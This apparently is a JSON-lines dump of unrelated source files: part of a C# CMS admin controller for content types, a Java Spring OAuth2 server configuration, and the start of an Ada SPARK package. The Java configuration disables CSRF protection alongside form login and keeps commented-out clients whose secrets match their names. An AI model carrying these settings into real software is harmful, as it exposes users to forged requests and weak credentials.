(!string.IsNullOrWhiteSpace(viewModel.DisplayName) &&\n _contentDefinitionService.GetTypes().Any(t => string.Equals(t.DisplayName.Trim(), viewModel.DisplayName.Trim(), StringComparison.OrdinalIgnoreCase))) {\n ModelState.AddModelError(\"DisplayName\", T(\"A content type with this display name already exists.\").Text);\n }\n\n ValidateTechnicalName(viewModel.Name);\n\n // Additional Technical Name validation.\n if (!string.IsNullOrWhiteSpace(viewModel.Name) &&\n _contentDefinitionService.GetTypes().Any(t => string.Equals(t.Name.ToSafeName(), viewModel.Name.ToSafeName(), StringComparison.OrdinalIgnoreCase))) {\n ModelState.AddModelError(\"Name\", T(\"A content type with this technical name already exists.\").Text);\n }\n\n if (!ModelState.IsValid) {\n Services.TransactionManager.Cancel();\n\n return View(viewModel);\n }\n\n\n var contentTypeDefinition = _contentDefinitionService.AddType(viewModel.Name, viewModel.DisplayName);\n\n // CommonPart is added by default to all Content Types.\n _contentDefinitionService.AddPartToType(\"CommonPart\", viewModel.Name);\n\n var typeViewModel = new EditTypeViewModel(contentTypeDefinition);\n\n\n Services.Notifier.Success(T(\"The \\\"{0}\\\" content type has been created.\", typeViewModel.DisplayName));\n\n return RedirectToAction(\"AddPartsTo\", new { id = typeViewModel.Name });\n }\n\n public ActionResult ContentTypeName(string displayName, int version) {\n return Json(new {\n result = _contentDefinitionService.GenerateContentTypeNameFromDisplayName(displayName),\n version\n });\n }\n\n public ActionResult FieldName(string partName, string displayName, int version) {\n return Json(new {\n result = _contentDefinitionService.GenerateFieldNameFromDisplayName(partName, displayName),\n version\n });\n }\n\n public ActionResult Edit(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content type.\")))\n return new HttpUnauthorizedResult();\n\n var typeViewModel = _contentDefinitionService.GetType(id);\n\n if (typeViewModel == null) return HttpNotFound();\n\n return View(typeViewModel);\n }\n\n public ActionResult EditPlacement(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content type.\")))\n return new HttpUnauthorizedResult();\n\n var contentTypeDefinition = _contentDefinitionManager.GetTypeDefinition(id);\n\n if (contentTypeDefinition == null) return HttpNotFound();\n\n //Grouping Tabs > Cards > Shapes\n var grouped = _placementService\n // Get a collection of objects that describe the placement for all shapes\n // in the editor view for a ContentItem of the given ContentType\n .GetEditorPlacement(id)\n // Order all those shapes based on their position\n .OrderBy(x => x.PlacementInfo.GetPosition(), new FlatPositionComparer())\n // Then alphabetically by their shape type\n .ThenBy(x => x.PlacementSettings.ShapeType)\n // only pick those shapes that live int the \"Content\" zone\n .Where(e => e.PlacementSettings.Zone == \"Content\")\n // Form groups whose key is a string like {tabName}%{cardName}. Items\n // in a group represent the shapes that will be in the card called {cardName}\n // in the tab called {tabName}.\n .GroupBy(g => g.PlacementInfo.GetTab() + \"%\" + g.PlacementInfo.GetCard())\n // Transform each of those groups in an object representing the single cards.\n // Each of these objects contains the name of the tab that contains it, as\n // well as the list of shape placements in that card\n .Select(x =>\n new Card {\n Name = x.Key.Split('%')[1],\n TabName = x.Key.Split('%')[0],\n Placements = x.ToList()\n })\n // Group cards by tab\n .GroupBy(x => x.TabName)\n // Since each of those groups \"represents\" a card, we actually make it into one.\n .Select(x =>\n new Tab {\n Name = x.Key,\n Cards = x.ToList()\n })\n // Make the collection into a List<Tab> because it's easy to interact with it\n // (see later in the code)\n .ToList();\n var listPlacements = grouped\n // By selecting all placements from the Tab objects we built earlier, we have\n // them ordered nicely\n .SelectMany(x => x.Cards.SelectMany(m => m.Placements))\n .ToList();\n // We want to have an un-named \"default\" Tab for shapes, in case none was defined\n Tab content;\n if (grouped.Any(x => string.IsNullOrWhiteSpace(x.Name))) {\n // Because of the way the elements of the list have been ordered above,\n // if there is a Tab with empty name, it is the first in the list.\n content = grouped[0];\n grouped.Remove(content);\n } else {\n content = new Tab {\n Name = \"\",\n Cards = new List<Card> { new Card { Name = \"\", TabName = \"\", Placements = new List<DriverResultPlacement>() } }\n };\n }\n // In each Tab, we want to have a \"default\" un-named Card. This will simplfy\n // UI interactions, because it ensures that each Tab has some place we can drop\n // shapes in.\n for (int i = 0; i < grouped.Count(); i++) {\n if (!grouped[i].Cards.Any(x => string.IsNullOrEmpty(x.Name))) {\n grouped[i].Cards.Insert(0, new Card { Name = \"\", TabName = grouped[i].Name, Placements = new List<DriverResultPlacement>() });\n }\n }\n var placementModel = new EditPlacementViewModel {\n Content = content,\n AllPlacements = listPlacements,\n Tabs = grouped,\n ContentTypeDefinition = contentTypeDefinition,\n };\n\n return View(placementModel);\n }\n\n [HttpPost, ActionName(\"EditPlacement\")]\n [FormValueRequired(\"submit.Save\")]\n public ActionResult EditPlacementPost(string id, EditPlacementViewModel viewModel) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content type.\")))\n return new HttpUnauthorizedResult();\n\n var contentTypeDefinition = _contentDefinitionManager.GetTypeDefinition(id);\n\n if (contentTypeDefinition == null) return HttpNotFound();\n\n contentTypeDefinition.ResetPlacement(PlacementType.Editor);\n\n foreach (var placement in viewModel.AllPlacements) {\n var placementSetting = placement.PlacementSettings;\n\n contentTypeDefinition.Placement(\n PlacementType.Editor,\n placementSetting.ShapeType,\n placementSetting.Differentiator,\n placementSetting.Zone,\n placementSetting.Position);\n }\n\n // Persist placement changes.\n _contentDefinitionManager.StoreTypeDefinition(contentTypeDefinition);\n\n _settingsManagerEventHandlers.Value.Invoke(x => x.Saved(_settings), Logger);\n\n return RedirectToAction(\"EditPlacement\", new { id });\n }\n\n [HttpPost, ActionName(\"EditPlacement\")]\n [FormValueRequired(\"submit.Restore\")]\n public ActionResult EditPlacementRestorePost(string id, EditPlacementViewModel viewModel) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content type.\")))\n return new HttpUnauthorizedResult();\n\n var contentTypeDefinition = _contentDefinitionManager.GetTypeDefinition(id);\n\n if (contentTypeDefinition == null) return HttpNotFound();\n\n contentTypeDefinition.ResetPlacement(PlacementType.Editor);\n\n // Persist placement reset.\n _contentDefinitionManager.StoreTypeDefinition(contentTypeDefinition);\n\n _settingsManagerEventHandlers.Value.Invoke(x => x.Saved(_settings), Logger);\n\n return RedirectToAction(\"EditPlacement\", new { id });\n }\n\n [HttpPost, ActionName(\"Edit\")]\n [FormValueRequired(\"submit.Save\")]\n public ActionResult EditPOST(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content type.\")))\n return new HttpUnauthorizedResult();\n\n var typeViewModel = _contentDefinitionService.GetType(id);\n\n if (typeViewModel == null) return HttpNotFound();\n\n var edited = new EditTypeViewModel();\n\n TryUpdateModel(edited);\n\n\n ValidateDisplayName(edited.DisplayName);\n\n // Additional Display Name validation.\n if (!string.IsNullOrWhiteSpace(edited.DisplayName) &&\n _contentDefinitionService.GetTypes().Any(t =>\n !string.Equals(t.Name, edited.Name, StringComparison.OrdinalIgnoreCase) &&\n string.Equals(t.DisplayName.Trim(), edited.DisplayName.Trim(), StringComparison.OrdinalIgnoreCase))) {\n ModelState.AddModelError(\"DisplayName\", T(\"A content type with this display name already exists.\").Text);\n }\n\n if (!ModelState.IsValid) return View(typeViewModel);\n\n\n typeViewModel.DisplayName = edited.DisplayName;\n\n _contentDefinitionService.AlterType(typeViewModel, this);\n\n if (!ModelState.IsValid) {\n Services.TransactionManager.Cancel();\n\n return View(typeViewModel);\n }\n\n Services.Notifier.Success(T(\"\\\"{0}\\\" settings have been saved.\", typeViewModel.DisplayName));\n\n return RedirectToAction(\"Edit\", new { id });\n }\n\n [HttpPost, ActionName(\"Edit\")]\n [FormValueRequired(\"submit.Delete\")]\n public ActionResult Delete(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to delete a content type.\")))\n return new HttpUnauthorizedResult();\n\n var typeViewModel = _contentDefinitionService.GetType(id);\n\n if (typeViewModel == null) return HttpNotFound();\n\n _contentDefinitionService.RemoveType(id, true);\n\n Services.Notifier.Success(T(\"\\\"{0}\\\" has been removed.\", typeViewModel.DisplayName));\n\n return RedirectToAction(\"List\");\n }\n\n public ActionResult AddPartsTo(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content type.\")))\n return new HttpUnauthorizedResult();\n\n var typeViewModel = _contentDefinitionService.GetType(id);\n\n if (typeViewModel == null) return HttpNotFound();\n\n var typePartNames = new HashSet<string>(typeViewModel.Parts.Select(tvm => tvm.PartDefinition.Name));\n\n var viewModel = new AddPartsViewModel {\n Type = typeViewModel,\n PartSelections = _contentDefinitionService.GetParts(metadataPartsOnly: false)\n .Where(cpd => !typePartNames.Contains(cpd.Name) && cpd.Settings.GetModel<ContentPartSettings>().Attachable)\n .Select(cpd => new PartSelectionViewModel { PartName = cpd.Name, PartDisplayName = cpd.DisplayName, PartDescription = cpd.Description })\n .ToList()\n };\n\n return View(viewModel);\n }\n\n [HttpPost, ActionName(\"AddPartsTo\")]\n public ActionResult AddPartsToPOST(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content type.\")))\n return new HttpUnauthorizedResult();\n\n var typeViewModel = _contentDefinitionService.GetType(id);\n\n if (typeViewModel == null) return HttpNotFound();\n\n var viewModel = new AddPartsViewModel();\n\n if (!TryUpdateModel(viewModel)) return AddPartsTo(id);\n\n var partsToAdd = viewModel.PartSelections.Where(ps => ps.IsSelected).Select(ps => ps.PartName);\n foreach (var partToAdd in partsToAdd) {\n _contentDefinitionService.AddPartToType(partToAdd, typeViewModel.Name);\n\n Services.Notifier.Success(T(\"The \\\"{0}\\\" part has been added.\", partToAdd));\n }\n\n if (!ModelState.IsValid) {\n Services.TransactionManager.Cancel();\n\n return AddPartsTo(id);\n }\n\n return RedirectToAction(\"Edit\", new { id });\n }\n\n public ActionResult RemovePartFrom(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content type.\")))\n return new HttpUnauthorizedResult();\n\n var typeViewModel = _contentDefinitionService.GetType(id);\n\n var viewModel = new RemovePartViewModel();\n if (typeViewModel == null || !TryUpdateModel(viewModel) ||\n !typeViewModel.Parts.Any(p => p.PartDefinition.Name == viewModel.Name))\n return HttpNotFound();\n\n viewModel.Type = typeViewModel;\n\n return View(viewModel);\n }\n\n [HttpPost, ActionName(\"RemovePartFrom\")]\n public ActionResult RemovePartFromPOST(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content type.\")))\n return new HttpUnauthorizedResult();\n\n var typeViewModel = _contentDefinitionService.GetType(id);\n\n var viewModel = new RemovePartViewModel();\n if (typeViewModel == null || !TryUpdateModel(viewModel) ||\n !typeViewModel.Parts.Any(p => p.PartDefinition.Name == viewModel.Name))\n return HttpNotFound();\n\n _contentDefinitionService.RemovePartFromType(viewModel.Name, typeViewModel.Name);\n\n if (!ModelState.IsValid) {\n Services.TransactionManager.Cancel();\n viewModel.Type = typeViewModel;\n\n return View(viewModel);\n }\n\n Services.Notifier.Success(T(\"The \\\"{0}\\\" part has been removed.\", viewModel.Name));\n\n return RedirectToAction(\"Edit\", new { id });\n }\n\n #endregion\n\n #region Parts\n\n public ActionResult ListParts() {\n return View(new ListContentPartsViewModel {\n // only user-defined parts (not code as they are not configurable)\n Parts = _contentDefinitionService.GetParts(metadataPartsOnly: true)\n });\n }\n\n public ActionResult CreatePart(string suggestion) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to create a content part.\")))\n return new HttpUnauthorizedResult();\n\n return View(new CreatePartViewModel { Name = suggestion?.ToSafeName() });\n }\n\n [HttpPost, ActionName(\"CreatePart\")]\n public ActionResult CreatePartPOST(CreatePartViewModel viewModel) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to create a content part.\")))\n return new HttpUnauthorizedResult();\n\n\n ValidateTechnicalName(viewModel.Name);\n\n // Additional Technical Name validation.\n if (!string.IsNullOrWhiteSpace(viewModel.Name) &&\n _contentDefinitionManager.ListPartDefinitions().Any(t => string.Equals(t.Name.ToSafeName(), viewModel.Name.ToSafeName(), StringComparison.OrdinalIgnoreCase))) {\n ModelState.AddModelError(\"Name\", T(\"A content part with this technical name already exists.\").Text);\n }\n\n if (!ModelState.IsValid) return View(viewModel);\n\n\n var partViewModel = _contentDefinitionService.AddPart(viewModel);\n\n if (partViewModel == null) {\n Services.Notifier.Error(T(\"The content part could not be created.\"));\n\n return View(viewModel);\n }\n\n Services.Notifier.Success(T(\"The \\\"{0}\\\" content part has been created.\", partViewModel.Name));\n\n return RedirectToAction(\"EditPart\", new { id = partViewModel.Name });\n }\n\n public ActionResult EditPart(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content part.\")))\n return new HttpUnauthorizedResult();\n\n var partViewModel = _contentDefinitionService.GetPart(id);\n\n if (partViewModel == null) return HttpNotFound();\n\n return View(partViewModel);\n }\n\n [HttpPost, ActionName(\"EditPart\")]\n [FormValueRequired(\"submit.Save\")]\n public ActionResult EditPartPOST(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content part.\")))\n return new HttpUnauthorizedResult();\n\n var partViewModel = _contentDefinitionService.GetPart(id);\n\n if (partViewModel == null) return HttpNotFound();\n\n if (!TryUpdateModel(partViewModel)) return View(partViewModel);\n\n _contentDefinitionService.AlterPart(partViewModel, this);\n\n if (!ModelState.IsValid) {\n Services.TransactionManager.Cancel();\n\n return View(partViewModel);\n }\n\n Services.Notifier.Success(T(\"\\\"{0}\\\" settings have been saved.\", partViewModel.Name));\n\n return RedirectToAction(\"ListParts\");\n }\n\n [HttpPost, ActionName(\"EditPart\")]\n [FormValueRequired(\"submit.Delete\")]\n public ActionResult DeletePart(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to delete a content part.\")))\n return new HttpUnauthorizedResult();\n\n var partViewModel = _contentDefinitionService.GetPart(id);\n\n if (partViewModel == null) return HttpNotFound();\n\n _contentDefinitionService.RemovePart(id);\n\n Services.Notifier.Success(T(\"\\\"{0}\\\" has been removed.\", partViewModel.DisplayName));\n\n return RedirectToAction(\"ListParts\");\n }\n\n public ActionResult AddFieldTo(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content part.\")))\n return new HttpUnauthorizedResult();\n\n var partViewModel = _contentDefinitionService.GetPart(id);\n\n // If the specified Part doesn't exist, try to find a matching Type,\n // where the implicit Part with the same name can be created to store Fields.\n if (partViewModel == null) {\n var typeViewModel = _contentDefinitionService.GetType(id);\n\n if (typeViewModel == null) return HttpNotFound();\n else partViewModel = new EditPartViewModel(new ContentPartDefinition(id));\n }\n\n var viewModel = new AddFieldViewModel {\n Part = partViewModel,\n Fields = _contentDefinitionService.GetFields().OrderBy(x => x.FieldTypeName)\n };\n\n return View(viewModel);\n }\n\n [HttpPost, ActionName(\"AddFieldTo\")]\n public ActionResult AddFieldToPOST(AddFieldViewModel viewModel, string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content part.\")))\n return new HttpUnauthorizedResult();\n\n var partViewModel = _contentDefinitionService.GetPart(id);\n var typeViewModel = _contentDefinitionService.GetType(id);\n\n if (partViewModel == null && typeViewModel == null) return HttpNotFound();\n\n\n ValidateDisplayName(viewModel.DisplayName);\n\n // Additional Display Name validation.\n if (partViewModel != null && !string.IsNullOrWhiteSpace(viewModel.DisplayName) &&\n partViewModel.Fields.Any(t => string.Equals(t.DisplayName.Trim(), viewModel.DisplayName.Trim(), StringComparison.OrdinalIgnoreCase))) {\n ModelState.AddModelError(\"DisplayName\", T(\"A content field with this display name already exists.\").Text);\n }\n\n ValidateTechnicalName(viewModel.Name);\n\n // Additional Technical Name validation.\n if (partViewModel != null && !string.IsNullOrWhiteSpace(viewModel.Name) &&\n partViewModel.Fields.Any(t => string.Equals(t.Name.ToSafeName(), viewModel.Name.ToSafeName(), StringComparison.OrdinalIgnoreCase))) {\n ModelState.AddModelError(\"Name\", T(\"A content field with this technical name already exists.\").Text);\n }\n\n if (!ModelState.IsValid) {\n viewModel.Part = partViewModel ?? new EditPartViewModel { Name = typeViewModel.Name };\n viewModel.Fields = _contentDefinitionService.GetFields();\n\n Services.TransactionManager.Cancel();\n\n return View(viewModel);\n }\n\n\n // If the specified Part doesn't exist, create an implicit ,\n // where the implicit Part with the same name can be created to store Fields.\n if (partViewModel == null) {\n partViewModel = _contentDefinitionService.AddPart(new CreatePartViewModel { Name = typeViewModel.Name });\n _contentDefinitionService.AddPartToType(partViewModel.Name, typeViewModel.Name);\n }\n\n\n try {\n _contentDefinitionService.AddFieldToPart(viewModel.Name, viewModel.DisplayName, viewModel.FieldTypeName, partViewModel.Name);\n }\n catch (Exception ex) {\n Services.Notifier.Error(T(\"The \\\"{0}\\\" field was not added. {1}\", viewModel.DisplayName, ex.Message));\n Services.TransactionManager.Cancel();\n\n return AddFieldTo(id);\n }\n\n Services.Notifier.Success(T(\"The \\\"{0}\\\" field has been added.\", viewModel.DisplayName));\n\n return typeViewModel == null ? RedirectToAction(\"EditPart\", new { id }) : RedirectToAction(\"Edit\", new { id });\n }\n\n public ActionResult EditField(string id, string name) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content type.\")))\n return new HttpUnauthorizedResult();\n\n var partViewModel = _contentDefinitionService.GetPart(id);\n\n if (partViewModel == null) return HttpNotFound();\n\n var fieldViewModel = partViewModel.Fields.FirstOrDefault(x => x.Name == name);\n\n if (fieldViewModel == null) return HttpNotFound();\n\n var viewModel = new EditFieldNameViewModel {\n Name = fieldViewModel.Name,\n DisplayName = fieldViewModel.DisplayName\n };\n\n return View(viewModel);\n }\n\n [HttpPost, ActionName(\"EditField\")]\n [FormValueRequired(\"submit.Save\")]\n public ActionResult EditFieldPOST(string id, EditFieldNameViewModel viewModel) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content type.\")))\n return new HttpUnauthorizedResult();\n\n if (viewModel == null) return HttpNotFound();\n\n var partViewModel = _contentDefinitionService.GetPart(id);\n\n if (partViewModel == null) return HttpNotFound();\n\n\n ValidateDisplayName(viewModel.Name);\n\n // Additional Display Name validation.\n if (!string.IsNullOrWhiteSpace(viewModel.DisplayName) &&\n partViewModel.Fields.Any(f =>\n !string.Equals(f.Name, viewModel.Name, StringComparison.OrdinalIgnoreCase) &&\n string.Equals(f.DisplayName.Trim(), viewModel.DisplayName.Trim(), StringComparison.OrdinalIgnoreCase))) {\n ModelState.AddModelError(\"DisplayName\", T(\"A content field with this display name already exists on this content part.\").Text);\n }\n\n if (!ModelState.IsValid) return View(viewModel);\n\n\n var field = _contentDefinitionManager.GetPartDefinition(id).Fields.FirstOrDefault(x => x.Name == viewModel.Name);\n\n if (field == null) return HttpNotFound();\n\n _contentDefinitionService.AlterField(partViewModel, viewModel);\n\n Services.Notifier.Success(T(\"Display name changed to {0}.\", viewModel.DisplayName));\n\n // Redirect to the type editor if a type exists with this name.\n return _contentDefinitionService.GetType(id) == null ?\n RedirectToAction(\"EditPart\", new { id }) : RedirectToAction(\"Edit\", new { id });\n }\n\n public ActionResult RemoveFieldFrom(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content part.\")))\n return new HttpUnauthorizedResult();\n\n var partViewModel = _contentDefinitionService.GetPart(id);\n\n var viewModel = new RemoveFieldViewModel();\n\n if (partViewModel == null || !TryUpdateModel(viewModel) ||\n !partViewModel.Fields.Any(p => p.Name == viewModel.Name))\n return HttpNotFound();\n\n viewModel.Part = partViewModel;\n\n return View(viewModel);\n }\n\n [HttpPost, ActionName(\"RemoveFieldFrom\")]\n public ActionResult RemoveFieldFromPOST(string id) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to edit a content part.\")))\n return new HttpUnauthorizedResult();\n\n var partViewModel = _contentDefinitionService.GetPart(id);\n\n var viewModel = new RemoveFieldViewModel();\n if (partViewModel == null || !TryUpdateModel(viewModel) ||\n !partViewModel.Fields.Any(p => p.Name == viewModel.Name))\n return HttpNotFound();\n\n _contentDefinitionService.RemoveFieldFromPart(viewModel.Name, partViewModel.Name);\n\n if (!ModelState.IsValid) {\n Services.TransactionManager.Cancel();\n viewModel.Part = partViewModel;\n\n return View(viewModel);\n }\n\n Services.Notifier.Success(T(\"The \\\"{0}\\\" field has been removed.\", viewModel.Name));\n\n // Redirect to the type editor if a type exists with this name.\n return _contentDefinitionService.GetType(id) == null ?\n RedirectToAction(\"EditPart\", new { id }) : RedirectToAction(\"Edit\", new { id });\n }\n\n #endregion\n\n\n private void ValidateDisplayName(string displayName) {\n if (string.IsNullOrWhiteSpace(displayName)) {\n ModelState.AddModelError(\"DisplayName\", T(\"The display name name can't be empty.\").Text);\n }\n else if (!string.Equals(displayName, displayName.Trim(), StringComparison.OrdinalIgnoreCase)) {\n ModelState.AddModelError(\"DisplayName\", T(\"The display name starts and/or ends with whitespace characters.\").Text);\n }\n }\n\n private void ValidateTechnicalName(string technicalName) {\n if (string.IsNullOrWhiteSpace(technicalName)) {\n ModelState.AddModelError(\"Name\", T(\"The technical name (Id) can't be empty.\").Text);\n }\n else {\n var safeTechnicalName = technicalName.ToSafeName();\n\n if (!string.Equals(technicalName, safeTechnicalName, StringComparison.OrdinalIgnoreCase)) {\n ModelState.AddModelError(\"Name\", T(\"The technical name contains invalid (non-alphanumeric) characters.\").Text);\n }\n\n if (!safeTechnicalName.FirstOrDefault().IsLetter()) {\n ModelState.AddModelError(\"Name\", T(\"The technical name must start with a letter.\").Text);\n }\n }\n }\n\n\n bool IUpdateModel.TryUpdateModel<TModel>(TModel model, string prefix, string[] includeProperties, string[] excludeProperties) {\n return TryUpdateModel(model, prefix, includeProperties, excludeProperties);\n }\n\n void IUpdateModel.AddModelError(string key, LocalizedString errorMessage) {\n ModelState.AddModelError(key, errorMessage.ToString());\n }\n }\n}\n"} {"text": "\npackage com.open.capacity.server.oauth2;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.open.capacity.server.oauth2.client.RedisClientDetailsService;\nimport com.open.capacity.server.oauth2.code.RedisAuthorizationCodeServices;\nimport com.open.capacity.server.oauth2.token.store.RedisTemplateTokenStore;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.AutoConfigureAfter;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.security.authentication.AuthenticationManager;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.config.annotation.web.builders.WebSecurity;\nimport org.springframework.security.core.userdetails.UserDetailsService;\nimport org.springframework.security.oauth2.config.annotation.configurers.ClientDetailsServiceConfigurer;\nimport org.springframework.security.oauth2.config.annotation.web.configuration.AuthorizationServerConfigurerAdapter;\nimport org.springframework.security.oauth2.config.annotation.web.configuration.EnableAuthorizationServer;\nimport org.springframework.security.oauth2.config.annotation.web.configuration.EnableResourceServer;\nimport org.springframework.security.oauth2.config.annotation.web.configuration.ResourceServerConfigurerAdapter;\nimport org.springframework.security.oauth2.config.annotation.web.configurers.AuthorizationServerEndpointsConfigurer;\nimport org.springframework.security.oauth2.config.annotation.web.configurers.AuthorizationServerSecurityConfigurer;\nimport org.springframework.security.oauth2.provider.code.RandomValueAuthorizationCodeServices;\nimport org.springframework.security.oauth2.provider.error.WebResponseExceptionTranslator;\nimport org.springframework.security.oauth2.provider.token.store.JwtAccessTokenConverter;\nimport org.springframework.security.oauth2.provider.token.store.JwtTokenStore;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.Resource;\nimport javax.sql.DataSource;\n\n/**\n * @author owen 624191343@qq.com\n * @version 创建时间:2017年11月12日 上午22:57:51\n */\n@Configuration\n\npublic class OAuth2ServerConfig {\n\n private Logger logger = LoggerFactory.getLogger(OAuth2ServerConfig.class);\n\n @Resource\n private DataSource dataSource;\n @Resource\n private RedisTemplate<String, Object> redisTemplate;\n\n @Bean // 声明 ClientDetails实现\n @ConditionalOnProperty(prefix = \"security.oauth2.token.store\", name = \"type\", havingValue = \"redis\", matchIfMissing = true)\n public RedisClientDetailsService clientDetailsService() {\n RedisClientDetailsService clientDetailsService = new RedisClientDetailsService(dataSource);\n clientDetailsService.setRedisTemplate(redisTemplate);\n return clientDetailsService;\n }\n\n\n//\t@Bean\n// public ApprovalStore approvalStore() {\n// return new JdbcApprovalStore(dataSource);\n// }\n\n\n @Bean\n public RandomValueAuthorizationCodeServices authorizationCodeServices() {\n RedisAuthorizationCodeServices redisAuthorizationCodeServices = new RedisAuthorizationCodeServices();\n redisAuthorizationCodeServices.setRedisTemplate(redisTemplate);\n return redisAuthorizationCodeServices;\n }\n\n\n /**\n * @author owen 624191343@qq.com\n * @version 创建时间:2017年11月12日 上午22:57:51\n * 默认token存储在内存中\n * DefaultTokenServices默认处理\n */\n @Component\n @Configuration\n @EnableAuthorizationServer\n @AutoConfigureAfter(AuthorizationServerEndpointsConfigurer.class)\n public class UnieapAuthorizationServerConfig extends AuthorizationServerConfigurerAdapter {\n /**\n * 注入authenticationManager 来支持 password grant type\n */\n @Autowired\n private AuthenticationManager authenticationManager;\n\n @Resource\n private ObjectMapper objectMapper; // springmvc启动时自动装配json处理类\n\n @Autowired\n private UserDetailsService userDetailsService;\n @Autowired(required = false)\n private RedisTemplateTokenStore redisTokenStore;\n\n @Autowired(required = false)\n private JwtTokenStore jwtTokenStore;\n @Autowired(required = false)\n private JwtAccessTokenConverter jwtAccessTokenConverter;\n\n @Autowired\n private WebResponseExceptionTranslator webResponseExceptionTranslator;\n\n @Autowired\n private RedisClientDetailsService clientDetailsService;\n\n @Autowired(required = false)\n private RandomValueAuthorizationCodeServices authorizationCodeServices;\n\n\n //配置身份认证器,配置认证方式,TokenStore,TokenGranter,OAuth2RequestFactory\n public void configure(AuthorizationServerEndpointsConfigurer endpoints) throws Exception {\n\n\n if (jwtTokenStore != null) {\n endpoints.tokenStore(jwtTokenStore).authenticationManager(authenticationManager)\n .userDetailsService(userDetailsService); // 支持\n // password\n // grant\n // type;\n } else if (redisTokenStore != null) {\n endpoints.tokenStore(redisTokenStore).authenticationManager(authenticationManager)\n .userDetailsService(userDetailsService); // 支持\n // password\n // grant\n // type;\n }\n\n if (jwtAccessTokenConverter != null) {\n endpoints.accessTokenConverter(jwtAccessTokenConverter);\n }\n\n endpoints.authorizationCodeServices(authorizationCodeServices);\n\n endpoints.exceptionTranslator(webResponseExceptionTranslator);\n\n }\n\n // 配置应用名称 应用id\n //配置OAuth2的客户端相关信息\n @Override\n public void configure(ClientDetailsServiceConfigurer clients) throws Exception {\n\n // if(clientDetailsService!=null){\n // clients.withClientDetails(clientDetailsService);\n // }else{\n // clients.inMemory().withClient(\"neusoft1\").secret(\"neusoft1\")\n // .authorizedGrantTypes(\"authorization_code\", \"password\",\n // \"refresh_token\").scopes(\"all\")\n // .resourceIds(SERVER_RESOURCE_ID).accessTokenValiditySeconds(1200)\n // .refreshTokenValiditySeconds(50000)\n // .and().withClient(\"neusoft2\").secret(\"neusoft2\")\n // .authorizedGrantTypes(\"authorization_code\", \"password\",\n // \"refresh_token\").scopes(\"all\")\n // .resourceIds(SERVER_RESOURCE_ID).accessTokenValiditySeconds(1200)\n // .refreshTokenValiditySeconds(50000)\n // ;\n // }\n clients.withClientDetails(clientDetailsService);\n clientDetailsService.loadAllClientToCache();\n }\n\n //对应于配置AuthorizationServer安全认证的相关信息,创建ClientCredentialsTokenEndpointFilter核心过滤器\n @Override\n public void configure(AuthorizationServerSecurityConfigurer security) throws Exception {\n\n security.tokenKeyAccess(\"permitAll()\") /// url:/oauth/token_key,exposes\n /// public key for token\n /// verification if using\n /// JWT tokens\n .checkTokenAccess(\"isAuthenticated()\") // url:/oauth/check_token\n // allow check token\n .allowFormAuthenticationForClients();\n\n // security.allowFormAuthenticationForClients();\n //// security.tokenKeyAccess(\"permitAll()\");\n // security.tokenKeyAccess(\"isAuthenticated()\");\n }\n\n }\n\n // add for sso\n // 在ResourceServerConfigurerAdapter配置需要token验证的资源\n @Configuration\n @EnableResourceServer\n public class ResourceServer extends ResourceServerConfigurerAdapter {\n\n public void configure(WebSecurity web) throws Exception {\n web.ignoring().antMatchers(\"/health\");\n }\n\n @Override\n public void configure(HttpSecurity http) throws Exception {\n // http.httpBasic() //默认配置\n // 用表单登录\n http.formLogin()\n // 对请求授权\n .and().authorizeRequests()\n .antMatchers(\"/v2/api-docs\", \"/configuration/ui\", \"/swagger-resources\", \"/configuration/security\", \"/swagger-ui.html\", \"/webjars/**\").permitAll()\n // 所有需要restful保护的资源都需要加入到这个requestMatchers,加入到的资源作为资源服务器保护的资源\n .and().requestMatchers()\n .antMatchers(\"/users\", \"/**/users\").and().authorizeRequests()\n .antMatchers(\"/**/users\", \"/users\").authenticated().anyRequest().authenticated() // 所有的请求认证\n .and().csrf().disable() // 关闭Could not verify the provided\n // CSRF\n // token because your session was\n // not\n // found\n ;\n }\n }\n\n}\n"} {"text": "package Spacecraft.Ctors\n with SPARK_Mode => On\nis\n function Satellite_Params_Valid(Time: DKTime; Revolutions: DKFloat; Altitude: DKFloat) return Boolean;\n function New_Satellite(Time: DKTime; Revolutions: DKFloat; Altitude: DKFloat) 